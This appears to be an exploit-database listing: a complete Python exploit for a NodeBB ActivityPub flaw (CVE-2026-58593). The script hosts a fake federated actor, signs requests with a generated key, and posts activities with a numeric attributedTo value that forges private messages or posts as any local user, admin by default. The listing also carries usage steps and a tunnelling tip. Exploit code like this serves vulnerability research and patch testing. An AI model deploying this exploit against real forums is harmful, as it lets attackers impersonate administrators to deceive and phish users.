#!/usr/bin/env python3 # Exploit Title: NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof # CVE: CVE-2026-58593 # Date: 2026-07-02 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://nodebb.org # Software Link: https://github.com/NodeBB/NodeBB # Affected: NodeBB <= 4.13.2 (with ActivityPub enabled) # Tested on: NodeBB v4.13.2 # Category: Remote # Platform: Node.js / Linux # Exploit Type: Spoofing / Authorization Bypass # CVSS: 8.7 # Description: Allows remote federated actors to spoof arbitrary local user UIDs (including admin) in private messages and public posts by sending numeric attributedTo values. # Fixed in: Pending patch # Usage: # python3 exploit.py --target-base https://target.com --actor-origin https://attacker.com --recipient-uid 2 --spoof-uid 1 # # Examples: # python3 exploit.py --target-base https://nodebb.example --actor-origin https://attacker.example --recipient-uid 2 --spoof-uid 1 # # Options: # --target-base Target NodeBB base URL # --actor-origin Public HTTPS origin for your actor # --recipient-uid Local recipient UID # --spoof-uid UID to spoof (default 1) # --message Custom message # --listen-host Listen host (default 127.0.0.1) # --listen-port Listen port (default 8088) # --output Output JSON file # # Notes: # • Requires public HTTPS exposure (e.g. ngrok) for WebFinger. # • NodeBB must have ActivityPub enabled. # # How to Use # # Step 1: # Expose your local server publicly via HTTPS tunnel (e.g. ngrok http 8088) and use the public URL as --actor-origin. # # Step 2: # Run the script with required arguments. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import sys import json import argparse import http.server import socketserver import threading import time import hashlib import base64 import datetime import urllib.parse import urllib.request import ssl import os from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend class ActivityPubHandler(http.server.BaseHTTPRequestHandler): def __init__(self, *args, actor_origin=None, username=None, public_key_pem=None, **kwargs): self.actor_origin = actor_origin self.username = username self.public_key_pem = public_key_pem self.received = [] super().__init__(*args, **kwargs) def do_GET(self): parsed = urllib.parse.urlparse(self.path) if parsed.path == '/.well-known/webfinger': self.send_response(200) self.send_header('Content-Type', 'application/jrd+json') self.end_headers() host = urllib.parse.urlparse(self.actor_origin).hostname webfinger = { "subject": f"acct:{self.username}@{host}", "links": [{ "rel": "self", "type": "application/activity+json", "href": f"{self.actor_origin}/users/{self.username}" }] } self.wfile.write(json.dumps(webfinger).encode()) return if parsed.path.startswith('/users/'): self.send_response(200) self.send_header('Content-Type', 'application/activity+json') self.end_headers() actor = { "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1"], "id": f"{self.actor_origin}/users/{self.username}", "type": "Person", "preferredUsername": self.username, "name": self.username, "inbox": f"{self.actor_origin}/users/{self.username}/inbox", "publicKey": { "id": f"{self.actor_origin}/users/{self.username}#main-key", "owner": f"{self.actor_origin}/users/{self.username}", "publicKeyPem": self.public_key_pem.decode() } } self.wfile.write(json.dumps(actor).encode()) return self.send_response(404) self.end_headers() def do_POST(self): content_length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(content_length) self.received.append({"path": self.path, "body": body.decode()}) self.send_response(202) self.send_header('Content-Type', 'application/activity+json') self.end_headers() self.wfile.write(json.dumps({"ok": True}).encode()) def run_server(host, port, actor_origin, username, public_key_pem): def handler_factory(*args, **kwargs): return ActivityPubHandler(*args, actor_origin=actor_origin, username=username, public_key_pem=public_key_pem, **kwargs) httpd = socketserver.TCPServer((host, port), handler_factory) server_thread = threading.Thread(target=httpd.serve_forever) server_thread.daemon = True server_thread.start() return httpd def generate_keypair(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() private_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) public_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) return public_pem, private_pem, private_key def sign_request(inbox_url, body, key_id, private_key): url = urllib.parse.urlparse(inbox_url) digest = base64.b64encode(hashlib.sha256(body).digest()).decode() date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') signing_string = f"(request-target): post {url.path}\nhost: {url.netloc}\ndate: {date}\ndigest: SHA-256={digest}" signature = private_key.sign( signing_string.encode(), padding=rsa_padding.PSS( mgf=rsa_padding.MGF1(hashes.SHA256()), salt_length=rsa_padding.PSS.MAX_LENGTH ), algorithm=hashes.SHA256() ) sig_b64 = base64.b64encode(signature).decode() return { "date": date, "digest": f"SHA-256={digest}", "signature": f'keyId="{key_id}",headers="(request-target) host date digest",signature="{sig_b64}",algorithm="hs2019"' } def post_activity(inbox_url, activity, key_id, private_key): body = json.dumps(activity).encode() signed = sign_request(inbox_url, body, key_id, private_key) req = urllib.request.Request( inbox_url, data=body, headers={ 'Accept': 'application/activity+json', 'Content-Type': 'application/activity+json', 'Date': signed['date'], 'Digest': signed['digest'], 'Signature': signed['signature'] }, method='POST' ) try: with urllib.request.urlopen(req, timeout=30) as response: return { "status": response.getcode(), "body": response.read().decode() } except Exception as e: return {"status": 0, "body": str(e)} def main(): banner() parser = argparse.ArgumentParser() parser.add_argument('--target-base', required=True) parser.add_argument('--actor-origin', required=True) parser.add_argument('--recipient-uid', type=int, required=True) parser.add_argument('--spoof-uid', type=int, default=1) parser.add_argument('--message', default=None) parser.add_argument('--listen-host', default='127.0.0.1') parser.add_argument('--listen-port', type=int, default=8088) parser.add_argument('--output') args = parser.parse_args() target_base = args.target_base.rstrip('/') actor_origin = args.actor_origin.rstrip('/') username = 'mallory' spoof_uid = args.spoof_uid recipient_uid = args.recipient_uid message = args.message or f"private message forged as uid {spoof_uid}" inbox_url = f"{target_base}/inbox" public_pem, private_pem, private_key = generate_keypair() print("[+] Starting local ActivityPub actor server...") httpd = run_server(args.listen_host, args.listen_port, actor_origin, username, public_pem) time.sleep(2) actor_url = f"{actor_origin}/users/{username}" key_id = f"{actor_url}#main-key" now = datetime.datetime.utcnow().isoformat() activity = { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_origin}/activities/private-create-{int(time.time())}", "type": "Create", "actor": actor_url, "to": [f"{target_base}/uid/{recipient_uid}"], "cc": [], "object": { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_origin}/private-notes/local-chat-spoof-{int(time.time())}", "type": "Note", "attributedTo": spoof_uid, "content": f"<p>{message}</p>", "published": now, "updated": now, "to": [f"{target_base}/uid/{recipient_uid}"], "cc": [] } } print("[+] Sending spoofed activity...") result = post_activity(inbox_url, activity, key_id, private_key) result_data = { "targetBase": target_base, "inboxUrl": inbox_url, "actor": actor_url, "activityId": activity["id"], "noteId": activity["object"]["id"], "spoofUid": spoof_uid, "recipientUid": recipient_uid, "httpStatus": result.get("status"), "accepted": 200 <= result.get("status", 0) < 300, "responseBody": result.get("body") } if args.output: with open(args.output, 'w') as f: json.dump(result_data, f, indent=2) print(json.dumps(result_data, indent=2)) httpd.shutdown() if __name__ == "__main__": try: from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding as rsa_padding except ImportError: print("[-] Please install cryptography: pip install cryptography") sys.exit(1) main()
References:
https://github.com/NodeBB/NodeBB/blob/v4.13.2/src/activitypub/mocks.js
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |